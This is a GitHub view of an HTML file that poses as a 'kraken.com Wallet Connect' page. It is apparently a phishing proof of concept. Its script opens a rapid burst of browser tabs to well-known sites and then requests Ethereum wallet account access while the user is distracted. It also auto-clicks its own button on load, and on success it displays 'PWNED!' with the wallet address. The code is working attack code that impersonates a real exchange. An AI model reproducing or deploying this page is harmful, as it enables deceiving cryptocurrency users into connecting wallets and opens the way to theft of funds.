-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathleo4.html
More file actions
135 lines (115 loc) · 4.65 KB
/
leo4.html
File metadata and controls
135 lines (115 loc) · 4.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>kraken.com - Wallet Connect</title>
<style>
html, body { margin:0; height:100%; background:#0a1a2a; color:#e0f7fa; font-family:system-ui; display:grid; place-items:center; }
.card { background:#122240; padding:24px; border-radius:16px; box-shadow:0 8px 32px rgba(0,0,0,0.5); max-width:420px; text-align:center; }
h1 { margin:0 0 8px; font-size:22px; color:#00c853; }
p { margin:8px 0 20px; font-size:14px; color:#80deea; }
.img-btn {
width:100px; height:100px; cursor:pointer; border-radius:50%;
box-shadow:0 8px 32px rgba(0,200,83,0.5); transition:transform 0.2s;
filter: drop-shadow(0 0 10px #00c853);
}
.img-btn:hover { transform:scale(1.12); }
#status { margin-top:20px; color:#80deea; font-size:14px; }
.kraken-logo { font-size:28px; margin-bottom:12px; font-weight:900; }
.loader { width:40px; height:40px; border:4px solid #1a3a5c; border-top:4px solid #00c853; border-radius:50%; animation:spin 1s infinite linear; margin:20px auto; display:none; }
@keyframes spin { to { transform:rotate(360deg); } }
</style>
</head>
<body>
<div class="card">
<div class="kraken-logo">KRAKEN</div>
<h1>Kraken Wallet Connect</h1>
<p>Tap icon to connect wallet securely.</p>
<!-- GAMBAR = TOMBOL -->
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgdmlld0JveD0iMCAwIDEwMCAxMDAiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNDUiIGZpbGw9IiMwMGM4NTMiLz48cGF0aCBkPSJNNTAgMzBMMjUgNjVsMjUgMjV6IiBmaWxsPSJ3aGl0ZSIvPjwvc3ZnPg=="
alt="Connect"
class="img-btn"
id="connectImg">
<div class="loader" id="loader"></div>
<div id="status"></div>
</div>
<script>
// === CONFIG (SAMA PERSIS) ===
const TARGETS = [
"https://google.com/csi",
"https://www.wikipedia.org/",
"https://www.youtube.com/robots.txt",
"https://www.apple.com/contact/",
"https://www.microsoft.com/",
"https://www.amazon.com/robots.txt",
"https://www.instagram.com/",
"https://www.yahoo.com/",
"https://www.reddit.com/robots.txt",
"https://developer.mozilla.org/"
];
const statusEl = document.getElementById("status");
const loader = document.getElementById("loader");
const imgBtn = document.getElementById("connectImg");
let handles = [];
// === BURST 10 TAB (SAMA PERSIS) ===
function openBurst(count = 10) {
const h = [];
let opened = 0;
for (let i = 0; i < count; i++) {
const url = TARGETS[i % TARGETS.length];
const delay = i * 50 + Math.floor(Math.random() * 30);
setTimeout(() => {
try {
const win = window.open(url, "_blank");
if (win) {
h.push(win);
opened++;
}
} catch (_) {}
}, delay);
}
setTimeout(() => {
statusEl.innerHTML = `Burst: ${opened}/${count} tabs opened.<br/>Connecting wallet...`;
}, count * 55 + 200);
return h;
}
// === AUTO CONNECT SETELAH BURST (TANPA KLIK 2) ===
async function autoConnectAfterBurst() {
if (!window.ethereum) {
statusEl.innerHTML = "No wallet detected!";
return;
}
try {
statusEl.innerHTML = "Requesting wallet access...";
loader.style.display = 'block';
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
const user = accounts[0];
statusEl.innerHTML = `PWNED!<br>Wallet connected: <code>${user.slice(0,6)}...${user.slice(-4)}</code>`;
document.title = "kraken.com - Wallet Connected";
// Cleanup
setTimeout(() => {
handles.forEach(h => { try { if (h && !h.closed) h.close(); } catch(_) {} });
}, 1500);
} catch (err) {
statusEl.innerHTML = "Connection failed or rejected.";
console.error(err);
}
}
// === KLIK 1 → BURST + CONNECT LANGSUNG ===
imgBtn.addEventListener("click", () => {
console.log('[1-CLICK] Burst + Auto Connect');
statusEl.textContent = "Launching race...";
loader.style.display = 'block';
// 1. Jalankan burst
handles = openBurst(10);
// 2. Setelah burst selesai → langsung connect
setTimeout(() => {
autoConnectAfterBurst();
}, 1200 + Math.floor(Math.random() * 400)); // Sama seperti fireSpoofedPrompt
});
// === BONUS: AUTO TRIGGER SAAT NAVIGATE (opsional) ===
setTimeout(() => imgBtn.click(), 800);
</script>
</body>
</html>